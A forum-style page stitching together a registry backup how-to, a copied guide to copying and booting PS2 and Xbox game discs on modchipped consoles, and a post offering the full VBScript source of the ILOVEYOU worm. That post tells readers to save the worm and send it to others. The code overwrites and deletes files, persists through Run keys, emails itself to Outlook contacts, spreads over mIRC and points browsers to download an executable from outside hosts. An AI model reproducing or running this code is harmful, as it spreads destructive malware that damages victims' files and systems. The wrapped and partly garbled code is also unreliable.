How to backup your Registry

Before you edit the registry, export the keys in the registry that you plan to edit, or back up the whole registry. If a problem occurs, you can then follow the steps how-to restore the registry to its previous state.

Just follow the steps : -

How to Export Registry Keys

1)Click Start, and then click Run.

2)In the Open box, type regedit, and then click OK.

3)On the File menu, click Export.

4)In the Save in box, select the boxs at the bottom the bottom according to weather you want to export all or only selected branches of the registry.

5)Next select a location in which to save the backup .reg file. In the File name box, type a file name, and then click Save.

How to Restore the Registry

To restore registry keys that you exported, double-click the .reg file that you saved.

how to backup your PS 2 Games

 Hi guys...here I found a tutorial of another Foum:
INFO: Text didn't write by me!

Okay, these are some methods to backup PS2 titles and Xbox titles, in order to play a backup you need a modchip of some sort, I have also included a tutorial on boot methods. Follow any one of these instructions to fit your needs. You can tell what format the PS2 title is by looking at the written side of the disc, DVD's are Silver and CD's are Purple. The DVD backup methods here consist of reading the image to the hard drive then burning it to the media for an easier backup, this depends on your hardware and it?s setup. I say that because the proper setup would be to have the Reader and Writer on separate IDE cables. This allows no cross information when doing Disc to Disc/On the fly copying. But, since most people would not know how to check or fix this, I suggest reading the image to your Hard Drive and then burning from there. *A little useful trick*, If the DVD backup "image" is small enough in size you can fit it onto a CD-R (80 minute or larger if need be) instead of using a more expensive DVD-R. I have done this succesfully using Prassi and the first tutorial for it below. In addition a DVD Movie backup will play on a PS2/Xbox without a chip. As I get more info I will update. Dexter

PS1/PS2 CD backup tutorials

Using CloneCD (v4.x.xx) for PS1/PS2
1. Start CloneCD
2. Select "Copy CD"
3. Select your Reader, press Next
4. Select "Game CD", press Next
5. Select/Deselect your options here (on the fly, cue or delete) then press Next
6. Select your Writer, press Next
7. Select your burn speed and "Game CD"
8. Press "OK" to begin

Using Alcohol 120% for PS1/PS2
1. Start Alcohol 120%
2. Select ?Copy Wizard?
3. Select your Reader & Read Speed
4. Select or Deselect ?Copy current disc on the fly?
5. For Datatype select which console PS1 or PS2, press Next
6. Select your Image location and Name for it, press Next
7. Select you Writer, Write Speed and anything else you feel you might need
8. Make sure the Datatype selected is the same you chose above
9. Press Start to begin

PS2 DVD backup tutorials

Using Prassi
1. Start Primo
2. Select "go to full application"
3. Right Click the drive that has your original in it
4. Select "build global image" and choose a path for the image (preferably on an NTFS opsys)
5. After the image is extracted go to next step
6. Choose the 3rd disc icon from the left *or* click file, new job, Global/Other Image
7. Then just burn the .gi (global image) of the game

This next way has one less step which saves some time because once you press record it does everything by itself (if you have a DVD reader and DVD Writer)
1. Start Primo
2. Use the "PrimoDVD Starter" (it's easier, and less confusing)
3. Choose "disc copy"
4. Select your Reader and Also your Writer
5. Select "make a temp image on HD..."
6. Select your burn speed and then record to begin

Using Nero
1. Start Nero, Use the Wizard (for easy use)
2. Select "DVD" then select Next
3. Select "Copy a DVD" then select Next
4. Select your source drive
5. Check OFF "copy on the fly" then select next
6. Select your write speed
7. Select either "Test", "Test and Burn" or "Burn"
8. Press "Burn" to begin
This next way is without the Wizard
1. Start Nero, and select "File" then "New..."
2. On upper left side of the window from the drop down menu select "DVD"
3. Select "DVD Copy" Icon
4. Select "Copy options" tab
5. Check OFF "copy on the fly"
6. Select source drive and read speed
7. If needed Select "Image" tab to choose image directory and select/deselect "delete image..."
8. Select "Burn" tab and choose your settings
9. Press "Copy" to begin

Using Alcohol 120%
1. Start Alcohol 120%
2. Select ?Copy Wizard?
3. Select your Reader
4. For ?Separate Image file every:? choose ?Never Separate?
5. Select or Deselect ?Copy current disc on the fly?, press Next
6. Select your Image location and Name for it, press Next
7. Select you Writer, Write Speed and anything else you feel you might need
8. Select or Deselect ?Delete image file after recording?
9. Press Start to begin

XBOX backup tutorials

Xbox original games are burned from the outside in. The only way to backup a title is to have a modchip like X-exuter (best), Enigma, or Xodus/Matrix. You also have to flash the bios and have a CD program inserted or installed into the X-Box named EVO-X (this allows you to assign the X-Box an IP address). The game has to be stored on the X-Box's HD, this allows you to file transfer the title to your PC using an ftp program like FlaxhFXP (best) or similar. From there you use a burning application to make the backup. Some applications allows you to "drag & drop" right from the Xbox or you can build an ISO of the image then burn to CD-R/W or DVD-R/W backup. (I will update this to show steps as soon as I have a minute)

Modded PS2 with or without Action Replay/GameShark CD & DVD backup booting methods
PS2 with NeoKey/Sbox & AR/GS, PS1 CD backup booting
1. Turn on PS2 and NeoKey/Sbox
2. Press Eject
3. Insert PS1 CD backup
4. Press reset
5. PS2 tray will close
6. PS1 CD backup will now boot

PS2 with NeoKey/Sbox & AR/GS, PS2 CD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc
4. At the AR/GS menu, select Start Game, With/Without codes
5. Eject and swap to your PS2 CD backup and press X.
6. Screen will change and game will now boot
* Note - Neokey will not play DVD-R!
* Note - Old versions of AR2/GS2 you might need to press R1+O instead of X to boot games

PS2 with Neo 2.2, PS1 CD backup booting
1. Turn on PS2
2. Press Eject
3. Insert PS1 CD backup
4. Press reset
5. PS2 tray will close
6. PS1 CD backup will now boot

PS2 with Neo 2.2 & AR/GS, PS2 CD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc
4. At the AR/GS menu, select Start Game, With/Without codes
5. Eject and swap to your PS2 CD backup and press X.
6. Screen will change and game will now boot

PS2 with Neo 2.2 & AR/GS, PS2 DVD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc, close tray
4. Power off your PS2, wait a few seconds
5. Press and Hold Reset button to load AR/GS
6. At the AR2/GS2 menu, press EJECT while still holding Reset
7. Swap AR/GS disc for an Original-TOC-DVD* and wait 10 seconds
8. Select "AR/GS Codes"
9. Highlight "Add new code" and press X to get to the next screen
10. Press X three times. You will see "Updating code list please wait" each time)
11. Press "Start" on controller
12. Select "Without codes", press X
13. Then Press X again, and immediately release the Reset button, you will see "Updating code list please wait"
14. The PS2 tray will eject allowing you to swap Original-TOC-DVD* for DVD backup and then close on it?s own
15. Screen will change and game will now boot
* Note - "Original-TOC-DVD" is an original DVD that is a larger file size than the backup
* Note ? For a shortcut make a few ?Add new codes? and after step 8 just highlight one of them and press square to delete it, then proceed on with step 11
PS2 with Messiah
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.

PS2 with Magic 2, 3 or 3.5
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.

Ps2 with Apple Mod
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.[CODE]

How to make a deadly virus ?

Tody I will show you haow to make deadliest Virus name " I LOVE YOU " formerly .this virus created damage to 8 to 10 billion computers .:


Just follow the steps :

1. Copy this code :

rem  barok -loveletter(vbe) <i hate go to school>

 rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines

 On Error Resume Next

 dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

 eq=""

 ctr=0

 Set fso = CreateObject("Scripting.FileSystemObject")

 set file = fso.OpenTextFile(WScript.ScriptFullname,1)

 vbscopy=file.ReadAll

 main()

 sub main()

 On Error Resume Next

 dim wscr,rr

 set wscr=CreateObject("WScript.Shell")

 rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

 if (rr>=1) then

 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

 end if

 Set dirwin = fso.GetSpecialFolder(0)

 Set dirsystem = fso.GetSpecialFolder(1)

 Set dirtemp = fso.GetSpecialFolder(2)

 Set c = fso.GetFile(WScript.ScriptFullName)

 c.Copy(dirsystem&"\MSKernel32.vbs")

 c.Copy(dirwin&"\Win32DLL.vbs")

 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

 regruns()

 html()

 spreadtoemail()

 listadriv()

 end sub

 sub regruns()

 On Error Resume Next

 Dim num,downread

 regcreate

 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"

 regcreate

 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"

 downread=""

 downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")

 if (downread="") then

 downread="c:\"

 end if

 if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

 Randomize

 num = Int((4 * Rnd) + 1)

 if num = 1 then

 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

 Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm

 hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

 elseif num = 2 then

 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw

 erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

 elseif num = 3 then

 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

 Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd

 QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"

 elseif num = 4 then

 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

 Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD

 GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"

 end if

 end if

 if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate

 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"

 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet

 Explorer\Main\Start Page","about:blank"

 end if

 end sub

 sub listadriv

 On Error Resume Next

 Dim d,dc,s

 Set dc = fso.Drives

 For Each d in dc

 If d.DriveType = 2 or d.DriveType=3 Then

 folderlist(d.path&"\")

 end if

 Next

 listadriv = s

 end sub

 sub infectfiles(folderspec)

 On Error Resume Next

 dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

 set f = fso.GetFolder(folderspec)

 set fc = f.Files

 for each f1 in fc

 ext=fso.GetExtensionName(f1.path)

 ext=lcase(ext)

 s=lcase(f1.name)

 if (ext="vbs") or (ext="vbe") then

 set ap=fso.OpenTextFile(f1.path,2,true)

 ap.write vbscopy

 ap.close

 elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then

 set ap=fso.OpenTextFile(f1.path,2,true)

 ap.write vbscopy

 ap.close

 bname=fso.GetBaseName(f1.path)

 set cop=fso.GetFile(f1.path)

 cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)

 elseif(ext="jpg") or (ext="jpeg") then

 set ap=fso.OpenTextFile(f1.path,2,true)

 ap.write vbscopy

 ap.close

 set cop=fso.GetFile(f1.path)

 cop.copy(f1.path&".vbs")

 fso.DeleteFile(f1.path)

 elseif(ext="mp3") or (ext="mp2") then

 set mp3=fso.CreateTextFile(f1.path&".vbs")

 mp3.write vbscopy

 mp3.close

 set att=fso.GetFile(f1.path)

 att.attributes=att.attributes+2

 end if

 if (eq<>folderspec) then

 if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then

 set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"

 scriptini.WriteLine ";mIRC Script"

 scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"

 scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"

 scriptini.WriteLine ";"

 scriptini.WriteLine ";Khaled Mardam-Bey"

 scriptini.WriteLine ";http://www.mirc.com"

 scriptini.WriteLine ";"

 scriptini.WriteLine "n0=on 1:JOIN:#:{"

 scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=  /.dcc send $nick

 "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

 scriptini.WriteLine "n3=}"

 scriptini.close

 eq=folderspec

 end if

 end if

 next

 end sub

 sub folderlist(folderspec)

 On Error Resume Next

 dim f,f1,sf

 set f = fso.GetFolder(folderspec)

 set sf = f.SubFolders

 for each f1 in sf

 infectfiles(f1.path)

 folderlist(f1.path)

 next

 end sub

 sub regcreate(regkey,regvalue)

 Set regedit = CreateObject("WScript.Shell")

 regedit.RegWrite regkey,regvalue

 end sub

 function regget(value)

 Set regedit = CreateObject("WScript.Shell")

 regget=regedit.RegRead(value)

 end function

 function fileexist(filespec)

 On Error Resume Next

 dim msg

 if (fso.FileExists(filespec)) Then

 msg = 0

 else

 msg = 1

 end if

 fileexist = msg

 end function

 function folderexist(folderspec)

 On Error Resume Next

 dim msg

 if (fso.GetFolderExists(folderspec)) then

 msg = 0

 else

 msg = 1

 end if

 fileexist = msg

 end function

 sub spreadtoemail()

 On Error Resume Next

 dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

 set regedit=CreateObject("WScript.Shell")

 set out=WScript.CreateObject("Outlook.Application")

 set mapi=out.GetNameSpace("MAPI")

 for ctrlists=1 to mapi.AddressLists.Count

 set a=mapi.AddressLists(ctrlists)

 x=1

 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then

 regv=1

 end if

 if (int(a.AddressEntries.Count)>int(regv)) then

 for ctrentries=1 to a.AddressEntries.Count

 malead=a.AddressEntries(x)

 regad=""

 regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )

 if (regad="") then

 set male=out.CreateItem(0)

 male.Recipients.Add(malead)

 male.Subject = "ILOVEYOU"

 male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

 male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send

 regedit.RegWrite

 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if

 x=x+1

 next

 regedit.RegWrite

 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else

 regedit.RegWrite

 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if

 next

 Set out=Nothing

 Set mapi=Nothing

 end sub

 sub html

 On Error Resume Next

 dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -

 LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?

 @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@

 CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _

 "<?-?HEAD><BODY

 ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.

 HTM#-#,#-#main#-#)@-@ "&vbcrlf& _

 "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@

 BGPROPERTIES=@-@fixed@-@

 BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

 "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to

 Enable ActiveX<?-?p>"&vbcrlf& _

 "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@

 BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _

 "<?-?BODY><?-?HTML>"&vbcrlf& _

 "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _

 "if (window.screen){var wi=screen.availWidth;var

 hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _

 "?-??-?-->"&vbcrlf& _

 "<?-?SCRIPT>"&vbcrlf& _

 "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _

 "on error resume next"&vbcrlf& _

 "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _

 "code="

 dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _

 "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _

 "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set

 wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _

 "wri.write code4"&vbcrlf& _

 "wri.close"&vbcrlf& _

 "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _

 "aw=0"&vbcrlf& _

 "end if"&vbcrlf& _

 "if (aw=1) then"&vbcrlf& _

 "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _

 "end if"&vbcrlf& _

 "end if"&vbcrlf& _

 "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _

 "regedit.RegWrite

 @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^

 -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _

 "<?-?SCRIPT>"

 dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")

 dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")

 dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")

 dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")

 dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")

 dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

 set fso=CreateObject("Scripting.FileSystemObject")

 set c=fso.OpenTextFile(WScript.ScriptFullName,1)

 lines=Split(c.ReadAll,vbcrlf)

 l1=ubound(lines)

 for n=0 to ubound(lines)

 lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

 lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then

 lines(n)=chr(34)+lines(n)+chr(34)

 else

 lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if

 next

 set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close

 set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5

 d.write join(lines,vbcrlf)

 d.write vbcrlf

 d.write dt6

 d.close

 end sub

 

 

 2. Now save this code into the note pad in this format "iloveu.TXT.vbs"

3.Now send it to anyone after archiving let it clicked then see the horror of these virus

                                                                                                            

 

                                                                                                               Thank u